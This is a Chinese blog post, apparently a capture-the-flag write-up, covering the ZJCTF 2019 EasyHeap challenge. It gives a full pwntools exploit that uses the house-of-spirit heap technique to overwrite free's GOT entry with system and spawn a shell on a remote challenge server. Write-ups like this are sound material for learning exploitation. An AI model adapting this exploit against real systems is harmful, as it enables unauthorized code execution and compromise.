[ZJCTF 2019]EasyHeap-house of spirit

17 篇文章 0 订阅

[ZJCTF 2019]EasyHeap-house of spirit

  • 先给出exp,exp中我标明了每一个步骤
  • 每个步骤执行完后,内存中的地址空间我也贴出来了

exp

from pwn import *
p = remote('node3.buuoj.cn',29012)
#p = process('./easyheap')
context.log_level = 'debug'
def creat(size,content):
	p.sendlineafter('Your choice :',str(1))
	p.sendlineafter('Size of Heap : ',str(size))
	p.sendafter('Content of heap:',content)

def edit(index,size,content):
	p.sendlineafter('Your choice :',str(2))
	p.sendlineafter('Index :',str(index))
	p.sendlineafter('Size of Heap : ',str(size))
	p.sendafter('Content of heap : ',content)

def delete(index):
	p.sendlineafter('Your choice :',str(3))
	p.sendlineafter('Index :',str(index))
#step1 创建3个chunk
creat(0x60,'a'*0x58) #0
creat(0x60,'b'*0x60) #1
creat(0x60,'c'*0x60) #2
#step2 释放chunk2
delete(2)

#step3 修改chunk1 中的内容为 /bin/sh 同时将chunk2 释放出来fast bin 的 fd 指针指向fake chunk
payload = b'/bin/sh\x00' +b'\x00'*0x60 + p64(0x71) + p64(0x6020ad) 
edit(1,len(payload),payload)

#step4 连续申请两次,得到的chunk2 就是我们在heaparray 附近的fake chunk
creat(0x60,'a')
creat(0x60,'aaa')

#step5 通过编辑chunk0,修改free_got 为 system_plt 
elf = ELF('./easyheap')
payload = b'a'*3 + p64(0)*4 + p64(elf.got['free'])
edit(3,len(payload),payload)
edit(0,8,p64(elf.plt['system']))

#step6 释放chunk1,会执行free(chunk1中的内容),即system('/bin/sh')
delete(1)
p.interactive()

step1 创建3个chunk

在这里插入图片描述

step2 释放chunk2

在这里插入图片描述

step3 修改chunk1 中的内容为 /bin/sh 同时将chunk2 释放出来fast bin 的 fd 指针指向fake chunk

在这里插入图片描述

step4 连续申请两次,得到的chunk2 就是我们在heaparray 附近的fake chunk

在这里插入图片描述

step5 通过编辑chunk0,修改free_got 为 system_plt

在这里插入图片描述

在这里插入图片描述

step6 释放chunk1,会执行free(chunk1中的内容),即system(’/bin/sh’)

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 5
    评论
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值